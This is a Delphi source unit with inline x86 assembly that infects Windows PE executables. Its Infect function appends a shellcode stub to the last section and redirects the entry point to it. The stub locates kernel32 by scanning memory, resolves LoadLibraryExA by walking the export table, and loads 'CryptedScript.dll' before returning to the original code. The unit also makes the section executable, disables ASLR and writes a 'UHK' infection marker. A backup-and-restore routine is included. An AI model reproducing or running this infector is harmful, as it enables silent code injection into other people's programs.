unit Executable;

interface

uses Windows;

function Infect(AExecutablePath: AnsiString):Boolean;
function Restore(AExecutablePath: AnsiString):Boolean;
function GetMarkVersion(AExecutablePath: AnsiString):AnsiString;

const
  CurrentVersion: AnsiString = '1';

implementation

uses Common;

function PrepareInjectCode_End(RealStartPoint: Cardinal; var Size: Cardinal):Pointer; forward;

function PrepareInjectCode(RealStartPoint: Cardinal; var Size: Cardinal):Pointer;
Begin
  Result := PrepareInjectCode_End(RealStartPoint, Size);
End;

procedure InjectProc(); asm
         MOV ESI, [ESP]
         PUSHA
         CALL @__End
         INC EAX
         MOV EDX, EAX
         PUSH EAX // Pointer to data


         AND ESI, $FFFF0000
@_L1:    CMP WORD PTR [ESI], "ZM"
         JZ @_CPE
@_L2:    SUB ESI, $10000
         JMP @_L1
@_CPE:   MOV EDI, [ESI + $3C]
         ADD EDI, ESI
         CMP DWORD PTR [EDI], "EP"
         JZ @_GK
         JMP @_L2
@_FL:    MOV ESI, $07C800000
@_GK:    XCHG EAX, ESI
         // EAX = kernel base
         MOV EBX, EAX
@_LOAD:  POP EDX    // Pointer to data
         PUSH EDX
         CALL @GPA  // EAX = Address of LoadLibraryExA
         POP EDX
         PUSH EDX
         ADD EDX, 0Fh // Pointer to CryptedScript.dll
         PUSH 08h
         PUSH 00h
         PUSH EDX
         CALL EAX // EAX now holds CryptedScript.dll base.
         MOV ECX, EAX // ECX - Handle for CryptedScript.dll
         POP EDX  // EDX pointer to data
         PUSH EDX
         ADD EDX, 021h // EDX pointer to CoreInitialize
         CALL @GPA // EAX now pointer to CoreInitialize func
         PUSH EDX
         PUSH ECX
         PUSH EBX
         CALL EAX
         POP EBX
         POP ECX
         POP EDX
         CMP AL, 0
         JZ @_ALL_OK
         CMP AL, 1
         JZ @_RELOAD
         POP EDX
         PUSH EDX
         ADD EDX, 030h // EDX pointer to FreeLibrary
         MOV EAX, EBX
         CALL @GPA // EAX pointer to FreeLibrary
         PUSH ECX
         CALL EAX // FreeLibrary
         JMP @_ALL_OK
@_RELOAD:POP EDX
         PUSH EDX
         ADD EDX, 030h // EDX pointer to FreeLibrary
         MOV EAX, EBX
         CALL @GPA // EAX pointer to FreeLibrary
         PUSH ECX
         CALL EAX // FreeLibrary
         MOV EAX, EBX
         JMP @_LOAD
@_ALL_OK:POP EDX
POPA
         PUSH 012345678h // Change this for real EntryPoint
         RET


// GetProcAddress EAX = dll base, EDX = Pointer to Procedure name.
@GPA:    PUSH  EBX
         PUSH  ECX
         PUSH  ESI
         PUSH  EDI
         MOV   ESI, EDX
         MOV   EDI, EDX  // EDI = Search API pointer
@_1:     CMP   BYTE PTR [ESI], 0
         JZ    @_2
         INC   ESI
         JMP   @_1
@_2:     INC   ESI
         SUB   ESI, EDX
         MOV   ECX, ESI   // ECX = Length of API to search

         MOV   EBX, EAX   // EBX = kern base.
         MOV   ESI, EAX
         ADD   ESI, 03Ch  // EAX = VA for RVA PE
         MOV   EAX, [ESI]
         MOV   ESI, EBX
         ADD   ESI, EAX   // ESI = VA for PE
         ADD   ESI, 078h  // ESI = VA for RVA export
         MOV   EAX, [ESI]
         MOV   ESI, EBX
         ADD   ESI, EAX   // ESI = VA export
         PUSH  ESI
         ADD   ESI, 020h  // ESI = VA for RVA Names
         MOV   EAX, [ESI]
         MOV   ESI, EBX
         ADD   ESI, EAX   // ESI = VA for Names
         XOR   EDX, EDX

@_3:     PUSH  ESI
         MOV   EAX, [ESI]
         MOV   ESI, EBX
         ADD   ESI, EAX   // ESI = VAR for Name
         PUSH  ECX
         PUSH  EDI
         CLD
         REP   CMPSB
         POP   EDI
         POP   ECX
         POP   ESI
         JZ    @_4
         ADD   ESI, 4
         INC   EDX
         JMP   @_3

@_4:     SHL   EDX, 1     // EDI = offset for Ordinals
         POP   ESI        // ESI = VA for export
         PUSH  ESI
         ADD   ESI, 024h  // ESI = VA for RVA Ordinals
         MOV   EAX, [ESI]
         MOV   ESI, EBX
         ADD   ESI, EAX   // ESI = VA Ordinals
         ADD   ESI, EDX   // ESI = VA for ordinal
         XOR   EDX, EDX
         MOVZX EDX, WORD PTR [ESI]
         SHL   EDX, 2
         POP   ESI        // ESI = VA for export
         ADD   ESI, 01Ch  // ESI = VA for RVA Funcs Address
         MOV   EAX, [ESI]
         MOV   ESI, EBX
         ADD   ESI, EAX
         ADD   ESI, EDX   // ESI = VA for Func Address
         MOV   EAX, [ESI]
         ADD   EAX, EBX
         POP   EDI
         POP   ESI
         POP   ECX
         POP   EBX
         RET
// End of GetProcAddress EAX = dll base, EDX = Pointer to Procedure name.


@_CPos:  MOV EAX, [ESP]
         RET
@__End:  CALL @_CPos
         RET
end;

function PrepareInjectCode_End(RealStartPoint: Cardinal; var Size: Cardinal):Pointer;
const
  LLE : Array [0..14] of AnsiChar = 'LoadLibraryExA' + #0;
  UOE : Array [0..17]  of AnsiChar = 'CryptedScript.dll' + #0;
  CI  : Array [0..14] of AnsiChar = 'CoreInitialize' + #0;
  FL  : Array [0..11] of AnsiChar = 'FreeLibrary' + #0;
  Signature : Array [0..5] of Byte = ($68, $78, $56, $34, $12, $C3); // PUSH 01234567h; RET
Var
  i: Cardinal;
Begin
  Size := Cardinal(@PrepareInjectCode_End) - Cardinal(@InjectProc) + 60 - 2;
  Result := GetMemory(Size);
  ZeroMemory(Result, Size);
  CopyMemory(Result, @InjectProc, Size);
  for i := 0 to Size - 1 do if PByte(Cardinal(Result) + i)^ = Signature[0] then
    if (PCardinal(Cardinal(Result) + i + 1)^ = PCardinal(@Signature[1])^) AND (PByte(Cardinal(Result) + i + 5)^ = PByte(@Signature[5])^) then Begin

    PCardinal(Cardinal(Result) + i + 1)^ := RealStartPoint;
    Break;
  End;

  CopyMemory(Pointer(Cardinal(Result) + Size - 60), @LLE[0], 15);
  CopyMemory(Pointer(Cardinal(Result) + Size - 45), @UOE[0], 18);
  CopyMemory(Pointer(Cardinal(Result) + Size - 27), @CI[0], 15);
  CopyMemory(Pointer(Cardinal(Result) + Size - 12), @FL[0], 12);
End;

function Align(Value, Factor: Cardinal): Cardinal;
Begin
  Result := (Value + (Factor - 1)) AND ( NOT (Factor - 1));
End;

function GetMappingSizeA(AFile: PAnsiChar; var InjectCode: Pointer; var CodeSize: Cardinal): Cardinal;
var
  hFile, hMapping: THandle;
  pFile: Pointer;
  DosHeader: PImageDosHeader;
  PEHeader: PImageFileHeader;
  OptHeader: PImageOptionalHeader;
Begin
  Result := 0;
  hFile := CreateFileA(AFile, GENERIC_READ OR GENERIC_WRITE, FILE_SHARE_WRITE, nil, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
  if hFile = INVALID_HANDLE_VALUE then Exit;
  hMapping := CreateFileMappingA(hFile, nil, PAGE_READWRITE, 0, 0, nil);
  if hMapping = INVALID_HANDLE_VALUE then Exit;
  pFile := MapViewOfFile(hMapping, FILE_MAP_ALL_ACCESS, 0, 0, 0);
  if pFile = nil then Exit;

  DosHeader := pFile;
  PEHeader := Pointer(Cardinal(pFile) + Cardinal(DosHeader^._lfanew) + 4);
  if PEHeader^.SizeOfOptionalHeader = 0 then Begin
    Exit;
  End;
  OptHeader := Pointer(Cardinal(pFile) + Cardinal(DosHeader^._lfanew) + 4 + SizeOf(TImageFileHeader));

  InjectCode := PrepareInjectCode(OptHeader^.AddressOfEntryPoint + OptHeader^.ImageBase, CodeSize);

  Result := GetFileSize(hFile, nil) + Align(CodeSize + 7, OptHeader^.FileAlignment);
  UnmapViewOfFile(pFile);
  CloseHandle(hMapping);
  CloseHandle(hFile);
End;

function Infect(AExecutablePath: AnsiString): Boolean;
type
  TPorcedure = procedure;
  TSections = Array [0..999] of TImageSectionHeader;
  PSections = ^TSections;
var
  DosHeader: PImageDosHeader;
  PEHeader: PImageFileHeader;
  OptHeader: PImageOptionalHeader;
  Sections: PSections;

  hFile, hMapping: THandle;
  pFile: Pointer;

  i, LastSectionId: Word;

  cMaxVirtualAddress, cCodeSize, cInfectMark, cFileSize, cOrigFileSize: Cardinal;
  pCodeData: Pointer;
  sInfectMark, sPresentedInfectMark, sNewFile, sUHookSrc, sUHookDst: AnsiString;
Begin
  Result := False;

  sNewFile := AExecutablePath + '.backup' + #0;
  AExecutablePath := AExecutablePath + #0;

  If not DeleteFileA(@sNewFile[1]) Then Begin
    If GetLastError <> ERROR_FILE_NOT_FOUND then Exit;
  End;
  If not CopyFileExA(@AExecutablePath[1], @sNewFile[1], nil, nil, nil, 0) Then Exit;

  sInfectMark := 'UHK' + CurrentVersion;
  PCardinal(@cInfectMark)^ := PCardinal(@sInfectMark[1])^;

  cFileSize := GetMappingSizeA(@AExecutablePath[1], pCodeData, cCodeSize);
  if cFileSize = 0 then Exit;

  hFile := CreateFileA(@AExecutablePath[1], GENERIC_READ OR GENERIC_WRITE, FILE_SHARE_WRITE, nil, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
  If(hFile = INVALID_HANDLE_VALUE) Then Begin
    FreeMemory(pCodeData);
    Exit;
  End;
  cOrigFileSize := GetFileSize(hFile, nil);
  hMapping := CreateFileMappingA(hFile, nil, PAGE_READWRITE, 0, cFileSize, nil);
  if hMapping = INVALID_HANDLE_VALUE then Begin
    CloseHandle(hFile);
    FreeMemory(pCodeData);
    Exit;
  End;

  pFile := MapViewOfFile(hMapping, FILE_MAP_ALL_ACCESS, 0, 0, cFileSize);
  if pFile = nil then Begin
    CloseHandle(hMapping);

    SetFilePointer(hFile, cOrigFileSize, nil, FILE_BEGIN);
    SetEndOfFile(hFile);
    CloseHandle(hFile);
    FreeMemory(pCodeData);
    Exit;
  End;


  DosHeader := pFile;
  PEHeader := Pointer(Cardinal(pFile) + Cardinal(DosHeader^._lfanew) + 4);
  OptHeader := Pointer(Cardinal(pFile) + Cardinal(DosHeader^._lfanew) + 4 + SizeOf(TImageFileHeader));
  SetLength(sPresentedInfectMark, 4);
  CopyMemory(@sPresentedInfectMark[1], @OptHeader.Win32VersionValue, 4);
  SetLength(sPresentedInfectMark, 3);
  if sPresentedInfectMark = 'UHK' then Begin
    FreeMemory(pCodeData);
    UnmapViewOfFile(pFile);
    CloseHandle(hMapping);
    SetFilePointer(hFile, cOrigFileSize, nil, FILE_BEGIN);
    SetEndOfFile(hFile);
    CloseHandle(hFile);

    SetLastError(ERROR_ALREADY_EXISTS);
    Exit;
  End;

  CopyMemory(@OptHeader.Win32VersionValue, @sInfectMark[1], 4);
  Sections := Pointer(Cardinal(pFile) + Cardinal(DosHeader^._lfanew) + 4 + SizeOf(TImageFileHeader) + SizeOf(TImageOptionalHeader) + (OptHeader^.NumberOfRvaAndSizes - IMAGE_NUMBEROF_DIRECTORY_ENTRIES) * SizeOf(TImageDataDirectory));

  LastSectionId := 0;
  cMaxVirtualAddress := 0;
  For i := 0 to PEHeader^.NumberOfSections - 1 do Begin
    if cMaxVirtualAddress < Sections^[i].VirtualAddress then Begin
      LastSectionId := i;
      cMaxVirtualAddress := Sections^[i].VirtualAddress;
    End;
  End;

  {Write infect code}
  CopyMemory(Pointer(Cardinal(pFile) + Sections[LastSectionId].PointerToRawData + Sections[LastSectionId].SizeOfRawData), pCodeData, cCodeSize);

  {Fix Entry point}
  OptHeader.AddressOfEntryPoint := Sections[LastSectionId].VirtualAddress + Sections[LastSectionId].SizeOfRawData;

  {Fix Virtual and Physical sizes}
  Sections[LastSectionId].Misc.VirtualSize := Align(Sections[LastSectionId].Misc.VirtualSize + cCodeSize, OptHeader.SectionAlignment);
  Sections[LastSectionId].SizeOfRawData := Align(Sections[LastSectionId].SizeOfRawData + cCodeSize, OptHeader.FileAlignment);
  if Sections[LastSectionId].SizeOfRawData > Sections[LastSectionId].Misc.VirtualSize then
    Sections[LastSectionId].Misc.VirtualSize := Align(Sections[LastSectionId].SizeOfRawData, OptHeader.SectionAlignment);

  OptHeader.SizeOfImage := Sections[LastSectionId].VirtualAddress + Sections[LastSectionId].Misc.VirtualSize;
  OptHeader.DllCharacteristics := OptHeader.DllCharacteristics AND ( NOT $040 );

  {Allowing to execut this section and misc changes}
  Sections[LastSectionId].Characteristics := (Sections[LastSectionId].Characteristics OR $A0000020) AND ( NOT $02000000 );

  UnmapViewOfFile(pFile);
  CloseHandle(hMapping);
  CloseHandle(hFile);

  FreeMemory(pCodeData);

  Result := True;
End;

function GetMarkVersion(AExecutablePath: AnsiString):AnsiString;
var
  hFile, hMapping: THandle;
  pFile: Pointer;
  DosHeader: PImageDosHeader;
  OptHeader: PImageOptionalHeader;
  cFileSize: Cardinal;
  sMark: AnsiString;
Begin
  Result := '';

  AExecutablePath := AExecutablePath + #0;
  hFile := CreateFileA(@AExecutablePath[1], GENERIC_READ, FILE_SHARE_READ, nil, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
  if hFile = INVALID_HANDLE_VALUE then Exit;

  cFileSize := GetFileSize(hFile, nil);
  hMapping := CreateFileMappingA(hFile, nil, PAGE_READONLY, 0, cFileSize, nil);
  If hMapping = INVALID_HANDLE_VALUE then Begin
    CloseHandle(hFile);
    Exit;
  End;

  pFile := MapViewOfFile(hMapping, FILE_MAP_READ, 0, 0, cFileSize);
  If (pFile = nil) Then Begin
    CloseHandle(hMapping);
    CloseHandle(hFile);
    Exit;
  End;

  DosHeader := pFile;
  OptHeader := Pointer(Cardinal(pFile) + Cardinal(DosHeader^._lfanew) + 4 + SizeOf(TImageFileHeader));
  SetLength(sMark, 4);
  CopyMemory(@sMark[1], @OptHeader.Win32VersionValue, 4);
  SetLength(sMark, 3);
  If sMark = 'UHK' Then Begin
    SetLength(Result, 4);
    CopyMemory(@Result[1], @OptHeader.Win32VersionValue, 4);
    Result := Result[4];
  End;

  UnmapViewOfFile(pFile);
  CloseHandle(hMapping);
  CloseHandle(hFile);
End;

function Restore(AExecutablePath: AnsiString):Boolean;
var
  sBackupFile: AnsiString;
  sUHookPath: AnsiString;
Begin
  Result := False;

  sUHookPath := ExtractFilePath(AExecutablePath) + 'CryptedScript.dll' + #0;
  sBackupFile := AExecutablePath + '.backup' + #0;
  AExecutablePath := AExecutablePath + #0;

  If not FileExists(sBackupFile) then Begin
    SetLastError(ERROR_FILE_NOT_FOUND);
    Exit;
  End;
  If not DeleteFileA(@AExecutablePath[1]) Then Begin
    If GetLastError <> ERROR_FILE_NOT_FOUND then Exit;
  End;
  If not CopyFileExA(@sBackupFile[1], @AExecutablePath[1], nil, nil, nil, 0) Then Exit;

  If not DeleteFileA(@sBackupFile[1]) Then Begin
    If GetLastError <> ERROR_FILE_NOT_FOUND then Exit;
  End;

  If not DeleteFileA(@sUHookPath[1]) Then Begin
    If GetLastError <> ERROR_FILE_NOT_FOUND then Exit;
  End;

  Result := True;
End;

end.
